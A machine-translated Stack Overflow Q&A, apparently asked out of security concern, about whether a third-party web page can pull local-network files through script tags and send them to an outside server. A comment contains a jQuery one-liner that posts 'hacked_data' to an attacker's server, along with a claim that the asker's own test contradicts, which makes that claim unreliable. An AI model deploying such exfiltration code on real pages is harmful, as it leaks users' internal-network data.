Javascript 我可以访问第三方提供的文件内容吗?

Javascript 我可以访问第三方提供的文件内容吗?,javascript,html,security,Javascript,Html,Security,这实际上是一个安全问题,而不是黑客企图。昨天有人问我,访问的页面是否可以通过局域网访问本地可用的文件,但不能从外部访问 例如,如果我转到第三方页面,该页面是否可以告诉我的浏览器获取“http://192.168.0.1/foo.html”,然后将该内容发布回外部服务器 我知道这不能用一个简单的ajax请求来完成,因为浏览器阻止了这一点。但是,可以使用脚本标记包含外部文件。e、 g <script type="text" src="http://127.0.0.1/test.html">

这实际上是一个安全问题,而不是黑客企图。昨天有人问我,访问的页面是否可以通过局域网访问本地可用的文件,但不能从外部访问

例如,如果我转到第三方页面,该页面是否可以告诉我的浏览器获取“
http://192.168.0.1/foo.html
”,然后将该内容发布回外部服务器

我知道这不能用一个简单的ajax请求来完成,因为浏览器阻止了这一点。但是,可以使用脚本标记包含外部文件。e、 g

<script type="text" src="http://127.0.0.1/test.html"></script>

将成功加载该本地文件(如果您运行的是web服务器,当然有该文件),并将其包含在文档中。然而,就我所知,这似乎不容易实现


这是一个值得关注的问题,还是由浏览器引起的?

您不能混合使用数据源,例如使用http浏览页面,并在该页面中包含一些html,请尝试通过
文件://
url加载资源。但是没有什么能阻止任何网站嵌入类似
的东西。问题是你们的浏览器是如何处理的。url不太可能吐出有效的JS代码,因此就JS而言,整个脚本块将是不可执行的垃圾,但从理论上讲,该块的内容仍然可以通过标准DOM操作访问。@Mark B,我昨晚对此进行了测试,发现如果我使用像上面那样的脚本标记,指定类型“text”,然后我可以看到我的浏览器成功地加载了它,并且没有导致任何javascript错误(使用Chrome)。但是,我没有看到如何访问它的内容以发回服务器。简单地说,使用jquery:
$.post('yourserver.php',{hacked_data:$('scriptagfrominternalserver').text()})
由于该内部url的内容现在以文本形式存在于脚本标记中,您只需使用DOM操作即可获取该文本并将其发送回您的服务器。据我所见,这实际上并没有将文件内容添加到DOM中。当我尝试使用jquery或纯javascript访问它时,它只会给我标记本身,而不是e包含的内容。(使用weirdly.net/postest.php进行测试)不是重复的,因为OP询问调用页面是否可以读取脚本引用。